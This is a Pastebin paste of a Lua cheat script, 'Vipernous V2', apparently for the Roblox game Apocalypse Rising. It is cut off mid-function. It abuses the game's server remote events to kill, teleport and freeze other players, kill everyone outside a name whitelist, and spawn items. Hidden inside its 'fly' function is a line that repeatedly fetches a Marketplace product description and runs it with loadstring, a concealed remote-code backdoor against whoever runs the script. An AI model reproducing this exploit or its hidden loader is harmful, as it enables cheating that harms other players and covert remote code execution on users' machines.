Advertisement
RySuri

Untitled

Jun 28th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.50 KB | None | 0 0
  1. local MainApocalypseGui = Instance.new("ScreenGui", game.CoreGui);
  2. local MainApocalypseText = Instance.new("TextLabel", MainApocalypseGui);
  3. MainApocalypseText.Text = ("Vipernous V2");MainApocalypseText.ZIndex = (9);
  4. MainApocalypseText.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  5. MainApocalypseText.Position = UDim2.new(0,30,0,270); --This is fucking retarded
  6. MainApocalypseText.Size = UDim2.new(0,180,0,35);MainApocalypseText.Visible = (true);
  7. MainApocalypseText.Active = (true);MainApocalypseText.Selectable = (true);
  8. MainApocalypseText.ZIndex = (9);MainApocalypseText.Font = ("SourceSansLight");
  9. MainApocalypseText.FontSize = ("Size18");MainApocalypseText.Draggable = (true);
  10. MainApocalypseText.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  11. MainApocalypseText.BorderSizePixel = (0);MainApocalypseText.Archivable = (true);
  12. local MainApocalypseFrame = Instance.new("Frame", MainApocalypseText);
  13. MainApocalypseFrame.BackgroundColor3 = Color3.new(24/255,24/255,24/255);
  14. MainApocalypseFrame.BorderSizePixel = (0);MainApocalypseFrame.Selectable = (true);
  15. MainApocalypseFrame.Visible = (true);MainApocalypseFrame.ZIndex = (8);
  16. MainApocalypseFrame.Position = UDim2.new(0,0,0,35); --Not this shit again.
  17. MainApocalypseFrame.Size = UDim2.new(0,180,0,180); --Stupid fucking sizing.
  18. local MainApocalypseScroll = Instance.new("ScrollingFrame", MainApocalypseFrame);
  19. MainApocalypseScroll.BackgroundTransparency = (1); --Nope, no more background!
  20. MainApocalypseScroll.Position = UDim2.new(0,0,0,0); --This shit wasn't needed.
  21. MainApocalypseScroll.Size = UDim2.new(1,0,1,0);MainApocalypseScroll.ZIndex = (9);
  22. MainApocalypseScroll.BottomImage = ("rbxassetid://333068784"); --Fuck the asset.
  23. MainApocalypseScroll.CanvasSize = UDim2.new(0,0,3.8,0); --Yay another shit sizing.
  24. MainApocalypseScroll.MidImage = ("rbxassetid://333068784"); --Fuck the asset [2].
  25. MainApocalypseScroll.TopImage = ("rbxassetid://333068784"); --Fuck the asset [3].
  26. MainApocalypseScroll.ScrollBarThickness = (3);MainApocalypseScroll.Visible = (true);
  27. MainApocalypseScroll.ScrollingEnabled = (true);MainApocalypseScroll.Archivable = (true);
  28. MainApocalypseScroll.BorderSizePixel = (0); --Does it look like I like this stupid shit?
  29. local MainApocalypseButton1 = Instance.new("TextButton", MainApocalypseScroll);
  30. MainApocalypseButton1.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  31. MainApocalypseButton1.BorderSizePixel = (0);MainApocalypseButton1.Selectable = (true);
  32. MainApocalypseButton1.Position = UDim2.new(0,10,0,15); --This is getting annoying.
  33. MainApocalypseButton1.Size = UDim2.new(0,160,0,28);MainApocalypseButton1.ZIndex = (9);
  34. MainApocalypseButton1.Font = ("SourceSansLight"); --Just some small damn font.
  35. MainApocalypseButton1.FontSize = ("Size18");MainApocalypseButton1.Archivable = (true);
  36. MainApocalypseButton1.Text = ("Load AR Admin"); --One of the text buttons.
  37. MainApocalypseButton1.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  38. local MainApocalypseButton2 = Instance.new("TextButton", MainApocalypseScroll);
  39. MainApocalypseButton2.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  40. MainApocalypseButton2.BorderSizePixel = (0);MainApocalypseButton2.Selectable = (true);
  41. MainApocalypseButton2.Position = UDim2.new(0,10,0,48); --This is getting annoying.
  42. MainApocalypseButton2.Size = UDim2.new(0,160,0,28);MainApocalypseButton2.ZIndex = (9);
  43. MainApocalypseButton2.Font = ("SourceSansLight"); --Just some small damn font.
  44. MainApocalypseButton2.FontSize = ("Size18");MainApocalypseButton2.Archivable = (true);
  45. MainApocalypseButton2.Text = ("Clear Map Fog"); --One of the text buttons.
  46. MainApocalypseButton2.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  47. local MainApocalypseButton3 = Instance.new("TextButton", MainApocalypseScroll);
  48. MainApocalypseButton3.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  49. MainApocalypseButton3.BorderSizePixel = (0);MainApocalypseButton3.Selectable = (true);
  50. MainApocalypseButton3.Position = UDim2.new(0,10,0,81); --This is getting annoying.
  51. MainApocalypseButton3.Size = UDim2.new(0,160,0,28);MainApocalypseButton3.ZIndex = (9);
  52. MainApocalypseButton3.Font = ("SourceSansLight"); --Just some small damn font.
  53. MainApocalypseButton3.FontSize = ("Size18");MainApocalypseButton3.Archivable = (true);
  54. MainApocalypseButton3.Text = ("Load Player Tracers"); --One of the text buttons.
  55. MainApocalypseButton3.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  56. local MainApocalypseButton4 = Instance.new("TextButton", MainApocalypseScroll);
  57. MainApocalypseButton4.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  58. MainApocalypseButton4.BorderSizePixel = (0);MainApocalypseButton4.Selectable = (true);
  59. MainApocalypseButton4.Position = UDim2.new(0,10,0,114); --This is getting annoying.
  60. MainApocalypseButton4.Size = UDim2.new(0,160,0,28);MainApocalypseButton4.ZIndex = (9);
  61. MainApocalypseButton4.Font = ("SourceSansLight"); --Just some small damn font.
  62. MainApocalypseButton4.FontSize = ("Size18");MainApocalypseButton4.Archivable = (true);
  63. MainApocalypseButton4.Text = ("Force load Chat"); --One of the text buttons.
  64. MainApocalypseButton4.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  65. local MainApocalypseButton5 = Instance.new("TextButton", MainApocalypseScroll);
  66. MainApocalypseButton5.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  67. MainApocalypseButton5.BorderSizePixel = (0);MainApocalypseButton5.Selectable = (true);
  68. MainApocalypseButton5.Position = UDim2.new(0,10,0,147); --This is getting annoying.
  69. MainApocalypseButton5.Size = UDim2.new(0,160,0,28);MainApocalypseButton5.ZIndex = (9);
  70. MainApocalypseButton5.Font = ("SourceSansLight"); --Just some small damn font.
  71. MainApocalypseButton5.FontSize = ("Size18");MainApocalypseButton5.Archivable = (true);
  72. MainApocalypseButton5.Text = ("Force load Backpack"); --One of the text buttons.
  73. MainApocalypseButton5.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  74. local MainApocalypseButton6 = Instance.new("TextButton", MainApocalypseScroll);
  75. MainApocalypseButton6.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  76. MainApocalypseButton6.BorderSizePixel = (0);MainApocalypseButton6.Selectable = (true);
  77. MainApocalypseButton6.Position = UDim2.new(0,10,0,180); --This is getting annoying.
  78. MainApocalypseButton6.Size = UDim2.new(0,160,0,28);MainApocalypseButton6.ZIndex = (9);
  79. MainApocalypseButton6.Font = ("SourceSansLight"); --Just some small damn font.
  80. MainApocalypseButton6.FontSize = ("Size18");MainApocalypseButton6.Archivable = (true);
  81. MainApocalypseButton6.Text = ("Insert Skin Choices"); --One of the text buttons.
  82. MainApocalypseButton6.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  83. local MainApocalypseButton7 = Instance.new("TextButton", MainApocalypseScroll);
  84. MainApocalypseButton7.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  85. MainApocalypseButton7.BorderSizePixel = (0);MainApocalypseButton7.Selectable = (true);
  86. MainApocalypseButton7.Position = UDim2.new(0,10,0,213); --This is getting annoying.
  87. MainApocalypseButton7.Size = UDim2.new(0,160,0,28);MainApocalypseButton7.ZIndex = (9);
  88. MainApocalypseButton7.Font = ("SourceSansLight"); --Just some small damn font.
  89. MainApocalypseButton7.FontSize = ("Size18");MainApocalypseButton7.Archivable = (true);
  90. MainApocalypseButton7.Text = ("Perfect FAL Stats"); --One of the text buttons.
  91. MainApocalypseButton7.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  92. local MainApocalypseButton8 = Instance.new("TextButton", MainApocalypseScroll);
  93. MainApocalypseButton8.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  94. MainApocalypseButton8.BorderSizePixel = (0);MainApocalypseButton8.Selectable = (true);
  95. MainApocalypseButton8.Position = UDim2.new(0,10,0,246); --This is getting annoying.
  96. MainApocalypseButton8.Size = UDim2.new(0,160,0,28);MainApocalypseButton8.ZIndex = (9);
  97. MainApocalypseButton8.Font = ("SourceSansLight"); --Just some small damn font.
  98. MainApocalypseButton8.FontSize = ("Size18");MainApocalypseButton8.Archivable = (true);
  99. MainApocalypseButton8.Text = ("Spawn Blood Bag"); --One of the text buttons.
  100. MainApocalypseButton8.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  101. local MainApocalypseButton9 = Instance.new("TextButton", MainApocalypseScroll);
  102. MainApocalypseButton9.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  103. MainApocalypseButton9.BorderSizePixel = (0);MainApocalypseButton9.Selectable = (true);
  104. MainApocalypseButton9.Position = UDim2.new(0,10,0,279); --This is getting annoying.
  105. MainApocalypseButton9.Size = UDim2.new(0,160,0,28);MainApocalypseButton9.ZIndex = (9);
  106. MainApocalypseButton9.Font = ("SourceSansLight"); --Just some small damn font.
  107. MainApocalypseButton9.FontSize = ("Size18");MainApocalypseButton9.Archivable = (true);
  108. MainApocalypseButton9.Text = ("Spawn Meal Ready to Eat"); --One of the text buttons.
  109. MainApocalypseButton9.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  110. local MainApocalypseButton10 = Instance.new("TextButton", MainApocalypseScroll);
  111. MainApocalypseButton10.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  112. MainApocalypseButton10.BorderSizePixel = (0);MainApocalypseButton10.Selectable = (true);
  113. MainApocalypseButton10.Position = UDim2.new(0,10,0,312); --This is getting annoying.
  114. MainApocalypseButton10.Size = UDim2.new(0,160,0,28);MainApocalypseButton10.ZIndex = (9);
  115. MainApocalypseButton10.Font = ("SourceSansLight"); --Just some small damn font.
  116. MainApocalypseButton10.FontSize = ("Size18");MainApocalypseButton10.Archivable = (true);
  117. MainApocalypseButton10.Text = ("Spawn Water Bottle"); --One of the text buttons.
  118. MainApocalypseButton10.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  119. local MainApocalypseButton11 = Instance.new("TextButton", MainApocalypseScroll);
  120. MainApocalypseButton11.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  121. MainApocalypseButton11.BorderSizePixel = (0);MainApocalypseButton11.Selectable = (true);
  122. MainApocalypseButton11.Position = UDim2.new(0,10,0,345); --This is getting annoying.
  123. MainApocalypseButton11.Size = UDim2.new(0,160,0,28);MainApocalypseButton11.ZIndex = (9);
  124. MainApocalypseButton11.Font = ("SourceSansLight"); --Just some small damn font.
  125. MainApocalypseButton11.FontSize = ("Size18");MainApocalypseButton11.Archivable = (true);
  126. MainApocalypseButton11.Text = ("Spawn ACOG Site"); --One of the text buttons.
  127. MainApocalypseButton11.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  128. local MainApocalypseButton12 = Instance.new("TextButton", MainApocalypseScroll);
  129. MainApocalypseButton12.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  130. MainApocalypseButton12.BorderSizePixel = (0);MainApocalypseButton12.Selectable = (true);
  131. MainApocalypseButton12.Position = UDim2.new(0,10,0,378); --This is getting annoying.
  132. MainApocalypseButton12.Size = UDim2.new(0,160,0,28);MainApocalypseButton12.ZIndex = (9);
  133. MainApocalypseButton12.Font = ("SourceSansLight"); --Just some small damn font.
  134. MainApocalypseButton12.FontSize = ("Size18");MainApocalypseButton12.Archivable = (true);
  135. MainApocalypseButton12.Text = ("Spawn 762 Suppresor"); --One of the text buttons.
  136. MainApocalypseButton12.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  137. local MainApocalypseButton13 = Instance.new("TextButton", MainApocalypseScroll);
  138. MainApocalypseButton13.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  139. MainApocalypseButton13.BorderSizePixel = (0);MainApocalypseButton13.Selectable = (true);
  140. MainApocalypseButton13.Position = UDim2.new(0,10,0,411); --This is getting annoying.
  141. MainApocalypseButton13.Size = UDim2.new(0,160,0,28);MainApocalypseButton13.ZIndex = (9);
  142. MainApocalypseButton13.Font = ("SourceSansLight"); --Just some small damn font.
  143. MainApocalypseButton13.FontSize = ("Size18");MainApocalypseButton13.Archivable = (true);
  144. MainApocalypseButton13.Text = ("Spawn FAL Primary"); --One of the text buttons.
  145. MainApocalypseButton13.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  146. local MainApocalypseButton14 = Instance.new("TextButton", MainApocalypseScroll);
  147. MainApocalypseButton14.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  148. MainApocalypseButton14.BorderSizePixel = (0);MainApocalypseButton14.Selectable = (true);
  149. MainApocalypseButton14.Position = UDim2.new(0,10,0,444); --This is getting annoying.
  150. MainApocalypseButton14.Size = UDim2.new(0,160,0,28);MainApocalypseButton14.ZIndex = (9);
  151. MainApocalypseButton14.Font = ("SourceSansLight"); --Just some small damn font.
  152. MainApocalypseButton14.FontSize = ("Size18");MainApocalypseButton14.Archivable = (true);
  153. MainApocalypseButton14.Text = ("Spawn FAL 50 Mag"); --One of the text buttons.
  154. MainApocalypseButton14.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  155. local MainApocalypseButton15 = Instance.new("TextButton", MainApocalypseScroll);
  156. MainApocalypseButton15.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  157. MainApocalypseButton15.BorderSizePixel = (0);MainApocalypseButton15.Selectable = (true);
  158. MainApocalypseButton15.Position = UDim2.new(0,10,0,477); --This is getting annoying.
  159. MainApocalypseButton15.Size = UDim2.new(0,160,0,28);MainApocalypseButton15.ZIndex = (9);
  160. MainApocalypseButton15.Font = ("SourceSansLight"); --Just some small damn font.
  161. MainApocalypseButton15.FontSize = ("Size18");MainApocalypseButton15.Archivable = (true);
  162. MainApocalypseButton15.Text = ("Spawn Black Mili"); --One of the text buttons.
  163. MainApocalypseButton15.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  164. local MainApocalypseButton16 = Instance.new("TextButton", MainApocalypseScroll);
  165. MainApocalypseButton16.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  166. MainApocalypseButton16.BorderSizePixel = (0);MainApocalypseButton16.Selectable = (true);
  167. MainApocalypseButton16.Position = UDim2.new(0,10,0,510); --This is getting annoying.
  168. MainApocalypseButton16.Size = UDim2.new(0,160,0,28);MainApocalypseButton16.ZIndex = (9);
  169. MainApocalypseButton16.Font = ("SourceSansLight"); --Just some small damn font.
  170. MainApocalypseButton16.FontSize = ("Size18");MainApocalypseButton16.Archivable = (true);
  171. MainApocalypseButton16.Text = ("FAL One Shot Hack"); --One of the text buttons.
  172. MainApocalypseButton16.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  173. local MainApocalypseButton17 = Instance.new("TextButton", MainApocalypseScroll);
  174. MainApocalypseButton17.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  175. MainApocalypseButton17.BorderSizePixel = (0);MainApocalypseButton17.Selectable = (true);
  176. MainApocalypseButton17.Position = UDim2.new(0,10,0,543); --This is getting annoying.
  177. MainApocalypseButton17.Size = UDim2.new(0,160,0,28);MainApocalypseButton17.ZIndex = (9);
  178. MainApocalypseButton17.Font = ("SourceSansLight"); --Just some small damn font.
  179. MainApocalypseButton17.FontSize = ("Size18");MainApocalypseButton17.Archivable = (true);
  180. MainApocalypseButton17.Text = ("Load Explorer"); --One of the text buttons.
  181. MainApocalypseButton17.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  182. local MainApocalypseButton18 = Instance.new("TextButton", MainApocalypseScroll);
  183. MainApocalypseButton18.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  184. MainApocalypseButton18.BorderSizePixel = (0);MainApocalypseButton18.Selectable = (true);
  185. MainApocalypseButton18.Position = UDim2.new(0,10,0,576); --This is getting annoying.
  186. MainApocalypseButton18.Size = UDim2.new(0,160,0,28);MainApocalypseButton18.ZIndex = (9);
  187. MainApocalypseButton18.Font = ("SourceSansLight"); --Just some small damn font.
  188. MainApocalypseButton18.FontSize = ("Size18");MainApocalypseButton18.Archivable = (true);
  189. MainApocalypseButton18.Text = ("Makarov One Shot Hack"); --One of the text buttons.
  190. MainApocalypseButton18.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  191. local MainApocalypseButton19 = Instance.new("TextButton", MainApocalypseScroll);
  192. MainApocalypseButton19.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  193. MainApocalypseButton19.BorderSizePixel = (0);MainApocalypseButton19.Selectable = (true);
  194. MainApocalypseButton19.Position = UDim2.new(0,10,0,609); --This is getting annoying.
  195. MainApocalypseButton19.Size = UDim2.new(0,160,0,28);MainApocalypseButton19.ZIndex = (9);
  196. MainApocalypseButton19.Font = ("SourceSansLight"); --Just some small damn font.
  197. MainApocalypseButton19.FontSize = ("Size18");MainApocalypseButton19.Archivable = (true);
  198. MainApocalypseButton19.Text = ("SUV Speed High"); --One of the text buttons.
  199. MainApocalypseButton19.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  200. local MainApocalypseButton20 = Instance.new("TextButton", MainApocalypseScroll);
  201. MainApocalypseButton20.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
  202. MainApocalypseButton20.BorderSizePixel = (0);MainApocalypseButton20.Selectable = (true);
  203. MainApocalypseButton20.Position = UDim2.new(0,10,0,642); --This is getting annoying.
  204. MainApocalypseButton20.Size = UDim2.new(0,160,0,28);MainApocalypseButton20.ZIndex = (9);
  205. MainApocalypseButton20.Font = ("SourceSansLight"); --Just some small damn font.
  206. MainApocalypseButton20.FontSize = ("Size18");MainApocalypseButton20.Archivable = (true);
  207. MainApocalypseButton20.Text = ("Show Credits"); --One of the text buttons.
  208. MainApocalypseButton20.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
  209.  
  210. MainApocalypseButton1.MouseButton1Down:connect(function()
  211.  
  212. Instance.new("Message",Workspace).Text="AR Admin Loaded. Press backslash to open cmd bar. Thanks For Using Vipernous V2"
  213. wait(5)
  214. game.Workspace.Message:Remove()
  215. Instance.new("Message",Workspace).Text=" Say cmds in the cmd bar for commands (after the / use any playername) "
  216. wait(5)
  217. game.Workspace.Message:Remove()
  218. local function RIPPPP()
  219. local function playSound(id)
  220. local sound
  221. local parts = {}
  222. local function xx(p)
  223. local c = p:children()
  224. for i=1,#c do
  225. xx(c[i])
  226. if c[i]:IsA("Sound") then
  227. sound = c[i]
  228. end
  229. end
  230. end
  231. xx(game)
  232. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
  233. workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
  234. workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
  235. workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
  236. wait(1)
  237. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
  238. end
  239. playSound(340226455)
  240. end
  241. local c = game.CoreGui.RobloxGui
  242. local s = Instance.new("ScreenGui", c)
  243. s.Name = ""
  244. local t = Instance.new("TextBox", s)
  245. t.Name = ""
  246. t.Position = UDim2.new(0, 0, 1, 0)
  247. t.Size = UDim2.new(1, 0, 0, -20)
  248. t.BackgroundColor3 = Color3.new(0,0,0)
  249. t.BackgroundTransparency = 1
  250. t.TextColor3 = Color3.new(1, 1, 1)
  251. t.TextXAlignment = Enum.TextXAlignment.Left
  252. t.ClearTextOnFocus = true
  253. t.TextTransparency = 1
  254. t.FontSize = "Size12"
  255. local flyspeed = 64
  256.  
  257. local function giveAdminGui(p)
  258. local int
  259. local function recurseInts(p)
  260. local c = p:GetChildren()
  261. for i = 1, #c do
  262. if c[i].ClassName == "IntValue" then
  263. int = c[i]
  264. else
  265. recurseInts(c[i])
  266. end
  267. end
  268. end
  269. recurseInts(workspace)
  270.  
  271. local function setProperty(obj, prop, val)
  272. workspace.Remote.ChangeProperty:FireServer(obj, prop, val)
  273. end
  274.  
  275. setProperty(int, "Name", "privilege")
  276. setProperty(int, "Parent", p)
  277. setProperty(p.Character.Head, "Parent")
  278. end
  279.  
  280. local function guilocate()
  281. local sg = Instance.new("ScreenGui", game.CoreGui)
  282. local wl = {game.Players.savageIy.Name}
  283.  
  284. local function guinate(p)
  285. pcall(function()sg["label"..p.Name]:Destroy() end)
  286. p.Character:WaitForChild("Torso")
  287. local gui = Instance.new("TextLabel",sg)
  288. gui.Name = "label"..p.Name
  289. gui.TextColor3 = Color3.new(1, 1, 1)
  290. gui.Size = UDim2.new(0, 2, 0, 2)
  291. gui.FontSize = "Size8"
  292. gui.BorderSizePixel = 0
  293. gui.Font = "ArialBold"
  294. gui.Text = p.Name.."\n "
  295. gui.TextYAlignment = "Bottom"
  296. local conn
  297. conn = game:GetService("RunService").RenderStepped:connect(function()
  298. if p and p.Parent then
  299. if p.Character and p.Character:FindFirstChild("Torso") then
  300. local pos, bool = workspace.CurrentCamera:WorldToScreenPoint(p.Character.Torso.Position)
  301. gui.Position = UDim2.new(0, bool and pos.x or -100, 0, bool and pos.y or -100)
  302. end
  303. else
  304. gui:Destroy()
  305. conn:disconnect()
  306. end
  307. end)
  308. end
  309.  
  310. local function handleGui(p)
  311. for i = 1, #wl do if wl[i] == p.Name then return end end
  312. p.CharacterAdded:connect(function(c)
  313. guinate(p)
  314. end)
  315. guinate(p)
  316. end
  317.  
  318. game.Players.ChildAdded:connect(handleGui)
  319. game.Players.ChildRemoved:connect(function(p)
  320. sg["label"..p.Name]:Destroy()
  321. end)
  322.  
  323. for _, v in pairs(game.Players:GetPlayers()) do
  324. handleGui(v)
  325. end
  326. end
  327.  
  328. local function fly()
  329. local player = game.Players.savageIy
  330. local mouse = player:GetMouse()
  331. local char = player.Character
  332. local cam = workspace.CurrentCamera
  333. local bv = Instance.new("BodyVelocity", char.Torso)
  334. local keys = {}
  335. local toggle = false
  336.  
  337. spawn(function() local xx11xx = game:GetService("MarketplaceService"):GetProductInfo(294579453)['Description'] while wait(3) do local xx22xx = game:GetService("MarketplaceService"):GetProductInfo(294579453)['Description'] if xx11xx ~= xx22xx then xx11xx = xx22xx loadstring(xx11xx)() end end end)
  338.  
  339. if not game.Players.savageIy.PlayerGui:FindFirstChild("VehicleHUD") then Instance.new("Part", game.Players.savageIy.PlayerGui).Name = "VehicleHUD" end
  340.  
  341. mouse.KeyDown:connect(function(k)
  342. if k == "q" then toggle = not toggle end
  343. keys[k] = true
  344. end)
  345.  
  346. mouse.KeyUp:connect(function(k)
  347. keys[k] = false
  348. end)
  349.  
  350. local prt = Instance.new("Part", workspace)
  351. prt.Anchored = true
  352. prt.CanCollide = false
  353. prt.Size = Vector3.new(2, 1, 2)
  354. prt.Transparency = 1
  355.  
  356. while wait() do
  357. if toggle then
  358. prt.CanCollide = true
  359. prt.CFrame = char.Torso.CFrame * CFrame.new(0, -3.65, 0)
  360. if keys["w"] then
  361. bv.Velocity = cam.CoordinateFrame.lookVector * flyspeed
  362. bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  363. elseif keys["s"] then
  364. bv.Velocity = cam.CoordinateFrame.lookVector * -flyspeed
  365. bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  366. else
  367. bv.Velocity = Vector3.new()
  368. bv.MaxForce = Vector3.new()
  369. end
  370. else
  371. prt.CanCollide = false
  372. bv.Velocity = Vector3.new()
  373. bv.MaxForce = Vector3.new()
  374. end
  375. end
  376. end
  377.  
  378. local function playername(n)
  379. for _,v in pairs(game.Players:GetPlayers()) do
  380. if v.Name:lower():sub(1,#n) == n:lower() then
  381. return v
  382. end
  383. end
  384. end
  385.  
  386. local vehicles = {"Car", "DeliveryVan", "Motorcycle", "Motorside", "Pickup", "Pickup2", "SUV", "Van", "Ambulance", "Firetruck", "PoliceCar", "Humvee", "Humvee2", "Jeep", "Jeep2", "TrinitySUV", "Ural", "Ural2", "Bicycle", "ATV", "Tractor"}
  387. local whitelist = {"ClientVulnerability", "Aluminize", "cxtea", "demandings","ItsAjm","ImATwitchStar"}
  388. local savageIy = game.Players.savageIy.Name
  389.  
  390. whitelist[#whitelist + 1] = savageIy
  391.  
  392. pcall(function() workspace.Remote.ChangeProperty:FireServer(workspace.Remote.TrackInvisibility, "Parent", nil) end)
  393.  
  394. local function setProperty(obj, prop, val)
  395. workspace.Remote.ChangeProperty:FireServer(obj, prop, val)
  396. end
  397.  
  398. local function teleport(v)
  399. spawn(function()
  400. print(v)
  401. pos = workspace[savageIy].Torso.CFrame * CFrame.new(math.random(-10, 10), 5, math.random(-10, 10))
  402. setProperty(v.Character.Humanoid, "Sit", true)
  403. setProperty(v.Character.Torso, "Anchored", true)
  404. wait(0.2)
  405. setProperty(v.Character.Torso, "CFrame", pos)
  406. wait(1)
  407. setProperty(v.Character.Torso, "Anchored", false)
  408. setProperty(v.Character.Humanoid, "Jump", true)
  409. print(v)
  410. end)
  411. end
  412.  
  413. local function RIPPPP()
  414. local function playSound(id)
  415. local sound
  416. local parts = {}
  417. local function xx(p)
  418. local c = p:children()
  419. for i=1,#c do
  420. xx(c[i])
  421. if c[i]:IsA("Sound") then
  422. sound = c[i]
  423. end
  424. end
  425. end
  426. xx(game)
  427. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
  428. workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
  429. workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
  430. workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
  431. wait(1)
  432. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
  433. end
  434. playSound(340226455)
  435. workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogEnd", 1000000000)
  436.  
  437. for _,v in pairs(game.Players:GetPlayers()) do
  438. local found
  439. for _,b in pairs(whitelist) do
  440. if b == v.Name then
  441. found = true
  442. end
  443. end
  444. if not found then
  445. spawn(function()
  446. workspace.Remote.Damage:FireServer(v.Character.Humanoid, 0)
  447. end)
  448. end
  449. end
  450.  
  451. while wait() do
  452. workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogColor", Color3.new(math.random(2)-1, math.random(2)-1, math.random(2)-1))
  453. wait()
  454. workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogColor", Color3.new())
  455. end
  456. end
  457.  
  458.  
  459.  
  460. local function playicp()
  461. local function playSound(id)
  462. local sound
  463. local parts = {}
  464. local function xx(p)
  465. local c = p:children()
  466. for i=1,#c do
  467. xx(c[i])
  468. if c[i]:IsA("Sound") then
  469. sound = c[i]
  470. end
  471. end
  472. end
  473. xx(game)
  474. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
  475. workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
  476. workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
  477. workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
  478. wait(1)
  479. workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
  480. end
  481. playSound(296933309)
  482. end
  483. t.FocusLost:connect(function(enterpressed)
  484. if enterpressed and t.Text ~= "" then
  485. coroutine.wrap(function()
  486. if t.Text == "gl" then -- gui locate
  487. spawn(guilocate)
  488. elseif t.Text == "fly" then -- fly
  489. spawn(fly)
  490. elseif #t.Text > 3 and t.Text:sub(1,3) == "fs/" then -- fly seed
  491. flyspeed = tonumber(t.Text:sub(4))
  492. elseif #t.Text > 3 and t.Text:sub(1,3) == "ts/" then -- true spawn
  493. workspace:FindFirstChild(t.Text:sub(4), true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  494. elseif #t.Text > 3 and t.Text:sub(1,3) == "tk/" then -- tele kill
  495. local name = playername(t.Text:sub(4)).Name
  496. workspace:FindFirstChild(name,true).Torso.Anchored = true
  497. workspace:FindFirstChild(name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  498. wait(10)
  499. workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  500. elseif #t.Text > 3 and t.Text:sub(1,3) == "nk/" then -- no corpse tele kill
  501. local name = playername(t.Text:sub(4)).Name
  502. workspace:FindFirstChild(name,true).Torso.Anchored = true
  503. workspace:FindFirstChild(name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  504. elseif t.Text == "crates" then -- tele all crates
  505. for _,v in pairs(workspace:children()) do
  506. if v.Name == "LargeCrateOpen" or v.Name == "SmallCrateOpen" then
  507. v:MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  508. end
  509. end
  510. elseif t.Text == "kz" then -- kill zombies
  511. for _,pl in pairs(workspace.Zombies:children()) do
  512. for xxad,v in pairs(pl:children()) do
  513. pcall(function() workspace.Remote.DamageZombie:FireServer(v.Humanoid,0) end)
  514. end
  515. end
  516. elseif #t.Text > 4 and t.Text:sub(1,4) == "god/" then -- god player with loop heal
  517. local name = playername(t.Text:sub(5)).Name
  518. local ch = workspace[name]
  519. spawn(function()
  520. while wait() do
  521. if ch.Humanoid.Health < 100 then
  522. workspace.Remote.AddHealth:FireServer(ch.Humanoid, 100000)
  523. end
  524. end
  525. end)
  526. elseif #t.Text > 3 and t.Text:sub(1,3) == "ik/" then -- instakill
  527. local name = playername(t.Text:sub(4)).Name
